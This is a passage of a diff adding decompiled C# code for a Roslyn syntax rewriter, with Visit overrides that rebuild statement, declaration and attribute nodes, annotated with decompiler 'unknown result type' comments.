CSharpSyntaxNode VisitLabeledStatement(LabeledStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.ColonToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitGotoStatement(GotoStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.GotoKeyword), (SyntaxToken)Visit(node.CaseOrDefaultKeyword), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitBreakStatement(BreakStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.BreakKeyword), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitContinueStatement(ContinueStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.ContinueKeyword), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitReturnStatement(ReturnStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.ReturnKeyword), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitThrowStatement(ThrowStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.ThrowKeyword), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitYieldStatement(YieldStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.YieldKeyword), (SyntaxToken)Visit(node.ReturnOrBreakKeyword), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitWhileStatement(WhileStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.WhileKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitDoStatement(DoStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.DoKeyword), (StatementSyntax)Visit(node.Statement), (SyntaxToken)Visit(node.WhileKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.CloseParenToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitForStatement(ForStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.ForKeyword), (SyntaxToken)Visit(node.OpenParenToken), (VariableDeclarationSyntax)Visit(node.Declaration), VisitList(node.Initializers), (SyntaxToken)Visit(node.FirstSemicolonToken), (ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.SecondSemicolonToken), VisitList(node.Incrementors), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitForEachStatement(ForEachStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.AwaitKeyword), (SyntaxToken)Visit(node.ForEachKeyword), (SyntaxToken)Visit(node.OpenParenToken), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.InKeyword), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.AwaitKeyword), (SyntaxToken)Visit(node.ForEachKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Variable), (SyntaxToken)Visit(node.InKeyword), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitUsingStatement(UsingStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.AwaitKeyword), (SyntaxToken)Visit(node.UsingKeyword), (SyntaxToken)Visit(node.OpenParenToken), (VariableDeclarationSyntax)Visit(node.Declaration), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitFixedStatement(FixedStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.FixedKeyword), (SyntaxToken)Visit(node.OpenParenToken), (VariableDeclarationSyntax)Visit(node.Declaration), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitCheckedStatement(CheckedStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.Keyword), (BlockSyntax)Visit(node.Block)); + } + + public override CSharpSyntaxNode VisitUnsafeStatement(UnsafeStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.UnsafeKeyword), (BlockSyntax)Visit(node.Block)); + } + + public override CSharpSyntaxNode VisitLockStatement(LockStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.LockKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitIfStatement(IfStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.IfKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.CloseParenToken), (StatementSyntax)Visit(node.Statement), (ElseClauseSyntax)Visit(node.Else)); + } + + public override CSharpSyntaxNode VisitElseClause(ElseClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ElseKeyword), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitSwitchStatement(SwitchStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.SwitchKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Sections), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitSwitchSection(SwitchSectionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.Labels), VisitList(node.Statements)); + } + + public override CSharpSyntaxNode VisitCasePatternSwitchLabel(CasePatternSwitchLabelSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (PatternSyntax)Visit(node.Pattern), (WhenClauseSyntax)Visit(node.WhenClause), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitCaseSwitchLabel(CaseSwitchLabelSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (ExpressionSyntax)Visit(node.Value), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitDefaultSwitchLabel(DefaultSwitchLabelSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitSwitchExpression(SwitchExpressionSyntax node) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + return node.Update((ExpressionSyntax)Visit(node.GoverningExpression), (SyntaxToken)Visit(node.SwitchKeyword), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Arms), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + return node.Update((PatternSyntax)Visit(node.Pattern), (WhenClauseSyntax)Visit(node.WhenClause), (SyntaxToken)Visit(node.EqualsGreaterThanToken), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitTryStatement(TryStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.TryKeyword), (BlockSyntax)Visit(node.Block), VisitList(node.Catches), (FinallyClauseSyntax)Visit(node.Finally)); + } + + public override CSharpSyntaxNode VisitCatchClause(CatchClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.CatchKeyword), (CatchDeclarationSyntax)Visit(node.Declaration), (CatchFilterClauseSyntax)Visit(node.Filter), (BlockSyntax)Visit(node.Block)); + } + + public override CSharpSyntaxNode VisitCatchDeclaration(CatchDeclarationSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OpenParenToken), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.WhenKeyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.FilterExpression), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitFinallyClause(FinallyClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.FinallyKeyword), (BlockSyntax)Visit(node.Block)); + } + + public override CSharpSyntaxNode VisitCompilationUnit(CompilationUnitSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.Externs), VisitList(node.Usings), VisitList(node.AttributeLists), VisitList(node.Members), (SyntaxToken)Visit(node.EndOfFileToken)); + } + + public override CSharpSyntaxNode VisitExternAliasDirective(ExternAliasDirectiveSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ExternKeyword), (SyntaxToken)Visit(node.AliasKeyword), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitUsingDirective(UsingDirectiveSyntax node) + { + return node.Update((SyntaxToken)Visit(node.GlobalKeyword), (SyntaxToken)Visit(node.UsingKeyword), (SyntaxToken)Visit(node.StaticKeyword), (SyntaxToken)Visit(node.UnsafeKeyword), (NameEqualsSyntax)Visit(node.Alias), (TypeSyntax)Visit(node.NamespaceOrType), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.NamespaceKeyword), (NameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Externs), VisitList(node.Usings), VisitList(node.Members), (SyntaxToken)Visit(node.CloseBraceToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.NamespaceKeyword), (NameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.SemicolonToken), VisitList(node.Externs), VisitList(node.Usings), VisitList(node.Members)); + } + + public override CSharpSyntaxNode VisitAttributeList(AttributeListSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), (AttributeTargetSpecifierSyntax)Visit(node.Target), VisitList(node.Attributes), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitAttributeTargetSpecifier(AttributeTargetSpecifierSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitAttribute(AttributeSyntax node) + { + return node.Update((NameSyntax)Visit(node.Name), (AttributeArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitAttributeArgumentList(AttributeArgumentListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Arguments), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitAttributeArgument(AttributeArgumentSyntax node) + { + return node.Update((NameEqualsSyntax)Visit(node.NameEquals), (NameColonSyntax)Visit(node.NameColon), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitNameEquals(NameEqualsSyntax node) + { + return node.Update((IdentifierNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.EqualsToken)); + } + + public override CSharpSyntaxNode VisitTypeParameterList(TypeParameterListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.LessThanToken), VisitList(node.Parameters), (SyntaxToken)Visit(node.GreaterThanToken)); + } + + public override CSharpSyntaxNode VisitTypeParameter(TypeParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.VarianceKeyword), (SyntaxToken)Visit(node.Identifier)); + } + + public override CSharpSyntaxNode VisitClassDeclaration(ClassDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), (BaseListSyntax)Visit(node.BaseList), VisitList(node.ConstraintClauses), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Members), (SyntaxToken)Visit(node.CloseBraceToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitStructDeclaration(StructDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), (BaseListSyntax)Visit(node.BaseList), VisitList(node.ConstraintClauses), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Members), (SyntaxToken)Visit(node.CloseBraceToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), (BaseListSyntax)Visit(node.BaseList), VisitList(node.ConstraintClauses), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Members), (SyntaxToken)Visit(node.CloseBraceToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitRecordDeclaration(RecordDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.ClassOrStructKeyword), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), (BaseListSyntax)Visit(node.BaseList), VisitList(node.ConstraintClauses), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Members), (SyntaxToken)Visit(node.CloseBraceToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitEnumDeclaration(EnumDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.EnumKeyword), (SyntaxToken)Visit(node.Identifier), (BaseListSyntax)Visit(node.BaseList), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Members), (SyntaxToken)Visit(node.CloseBraceToken), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitDelegateDeclaration(DelegateDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.DelegateKeyword), (TypeSyntax)Visit(node.ReturnType), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), VisitList(node.ConstraintClauses), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitEnumMemberDeclaration(EnumMemberDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Identifier), (EqualsValueClauseSyntax)Visit(node.EqualsValue)); + } + + public override CSharpSyntaxNode VisitBaseList(BaseListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.ColonToken), VisitList(node.Types)); + } + + public override CSharpSyntaxNode VisitSimpleBaseType(SimpleBaseTypeSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type), (ArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitTypeParameterConstraintClause(TypeParameterConstraintClauseSyntax node) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.WhereKeyword), (IdentifierNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.ColonToken), VisitList(node.Constraints)); + } + + public override CSharpSyntaxNode VisitConstructorConstraint(ConstructorConstraintSyntax node) + { + return node.Update((SyntaxToken)Visit(node.NewKeyword), (SyntaxToken)Visit(node.OpenParenToken), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitClassOrStructConstraint(ClassOrStructConstraintSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ClassOrStructKeyword), (SyntaxToken)Visit(node.QuestionToken)); + } + + public override CSharpSyntaxNode VisitTypeConstraint(TypeConstraintSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitDefaultConstraint(DefaultConstraintSyntax node) + { + return node.Update((SyntaxToken)Visit(node.DefaultKeyword)); + } + + public override CSharpSyntaxNode VisitFieldDeclaration(FieldDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (VariableDeclarationSyntax)Visit(node.Declaration), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitEventFieldDeclaration(EventFieldDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.EventKeyword), (VariableDeclarationSyntax)Visit(node.Declaration), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax node) + { + return node.Update((NameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.DotToken)); + } + + public override CSharpSyntaxNode VisitMethodDeclaration(MethodDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.ReturnType), (ExplicitInterfaceSpecifierSyntax)Visit(node.ExplicitInterfaceSpecifier), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), VisitList(node.ConstraintClauses), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.ReturnType), (ExplicitInterfaceSpecifierSyntax)Visit(node.ExplicitInterfaceSpecifier), (SyntaxToken)Visit(node.OperatorKeyword), (SyntaxToken)Visit(node.CheckedKeyword), (SyntaxToken)Visit(node.OperatorToken), (ParameterListSyntax)Visit(node.ParameterList), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.ImplicitOrExplicitKeyword), (ExplicitInterfaceSpecifierSyntax)Visit(node.ExplicitInterfaceSpecifier), (SyntaxToken)Visit(node.OperatorKeyword), 